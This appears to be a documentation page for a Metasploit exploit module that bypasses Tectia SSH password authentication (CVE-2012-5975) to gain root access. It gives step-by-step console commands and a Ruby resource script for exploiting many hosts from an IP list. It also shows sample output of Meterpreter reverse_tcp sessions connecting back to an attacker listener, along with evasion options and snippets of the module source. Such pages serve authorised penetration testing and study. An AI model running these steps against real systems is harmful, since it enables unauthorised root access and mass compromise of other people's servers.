Tectia SSH USERAUTH Change Request Password Reset Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/unix/ssh/tectia_passwd_changereq metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Tectia SSH USERAUTH Change Request Password Reset Vulnerability
Module: exploit/unix/ssh/tectia_passwd_changereq
Source code: modules/exploits/unix/ssh/tectia_passwd_changereq.rb
Disclosure date: 2012-12-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2012-5975
This module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using tectia_passwd_changereq against a single host
Normally, you can use exploit/unix/ssh/tectia_passwd_changereq this way:
msf > use exploit/unix/ssh/tectia_passwd_changereq
msf exploit(tectia_passwd_changereq) > show targets
... a list of targets ...
msf exploit(tectia_passwd_changereq) > set TARGET target-id
msf exploit(tectia_passwd_changereq) > show options
... show and set options ...
msf exploit(tectia_passwd_changereq) > exploit
Using tectia_passwd_changereq against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tectia_passwd_changereq will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/ssh/tectia_passwd_changereq")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/ssh/tectia_passwd_changereq exploit module looks in the msfconsole:
msf6 > use exploit/unix/ssh/tectia_passwd_changereq
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show info
Name: Tectia SSH USERAUTH Change Request Password Reset Vulnerability
Module: exploit/unix/ssh/tectia_passwd_changereq
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-12-01
Provided by:
kingcope
bperry
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Unix-based Tectia SSH 6.3 or prior
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
USERNAME root yes The username to login as
Payload information:
Description:
This module exploits a vulnerability in Tectia SSH server for
Unix-based platforms. The bug is caused by a
SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password
authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-5975
https://www.exploit-db.com/exploits/23082
OSVDB (88103)
https://seclists.org/fulldisclosure/2012/Dec/12
Module Options
This is a complete list of options available in the unix/ssh/tectia_passwd_changereq exploit:
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show options
Module options (exploit/unix/ssh/tectia_passwd_changereq):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
USERNAME root yes The username to login as
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Unix-based Tectia SSH 6.3 or prior
Advanced Options
Here is a complete list of advanced options supported by the unix/ssh/tectia_passwd_changereq exploit:
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show advanced
Module advanced options (exploit/unix/ssh/tectia_passwd_changereq):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/ssh/tectia_passwd_changereq module can exploit:
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show targets
Exploit targets:
Id Name
-- ----
0 Unix-based Tectia SSH 6.3 or prior
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/ssh/tectia_passwd_changereq exploit:
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the unix/ssh/tectia_passwd_changereq exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/ssh/tectia_passwd_changereq) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unexpected message: <MESSAGE.INSPECT>
Here is a relevant code snippet related to the "Unexpected message: <MESSAGE.INSPECT>" error message:
122: transport.send_message(transport.service_request("ssh-userauth"))
123: message = transport.next_message
124:
125: # 6 means SERVICE_ACCEPT
126: if message.type != 6
127: print_error("Unexpected message: #{message.inspect}")
128: return false
129: end
130:
131: # We send this packet as an attempt to see what auth methods are available.
132: # The only auth method we want is PASSWORD.
<RHOST>:<RPORT> - This host does not use password method authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - This host does not use password method authentication" error message:
143: transport.send_message(pkt)
144: message = transport.next_message
145:
146: # Type 51 means the server is trying to tell us what auth methods are allowed.
147: if message.type == 51 and message.to_s !~ /password/
148: print_error("#{rhost}:#{rport} - This host does not use password method authentication")
149: return false
150: end
151:
152: return true
153: end
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
216: c = do_login(datastore['USERNAME'])
217: end
218: rescue Rex::ConnectionError
219: return
220: rescue Net::SSH::Disconnect, ::EOFError
221: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
222: return
223: rescue Net::SSH::Exception => e
224: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
225: return
226: rescue ::Timeout::Error
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
219: return
220: rescue Net::SSH::Disconnect, ::EOFError
221: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
222: return
223: rescue Net::SSH::Exception => e
224: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
225: return
226: rescue ::Timeout::Error
227: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
228: return
229: end
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
222: return
223: rescue Net::SSH::Exception => e
224: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
225: return
226: rescue ::Timeout::Error
227: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
228: return
229: end
230:
231: handler(c.lsock) if c
232: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #10374 Merged Pull Request: Net::SSH::CommandStream fixes implemented
- #9524 Merged Pull Request: prefer 'shell' channels over 'exec' channels for ssh CommandStream
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7339 Merged Pull Request: Bug/7321/fix ssh modules
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #1150 Merged Pull Request: Update references
- #1131 Merged Pull Request: Lots of improvements for Tectia SSH module
- #1123 Merged Pull Request: Add Tectia SSH Password Change Request Exploit
References
See Also
Check also the following modules related to this module:
- exploit/unix/ssh/arista_tacplus_shell
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/apple_ios/ssh/cydia_default_ssh
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/multi/ssh/sshexec
- exploit/solaris/ssh/pam_username_bof
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_authbypass
- exploit/windows/ssh/freesshd_key_exchange
- exploit/windows/ssh/putty_msg_debug
- exploit/windows/ssh/securecrt_ssh1
- exploit/windows/ssh/sysax_ssh_username
- exploit/linux/http/efw_chpasswd_exec
- exploit/linux/http/piranha_passwd_exec
- exploit/linux/http/qnap_qcenter_change_passwd_exec
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- post/osx/gather/apfs_encrypted_volume_passwd
Related Nessus plugins:
Authors
- kingcope
- bperry
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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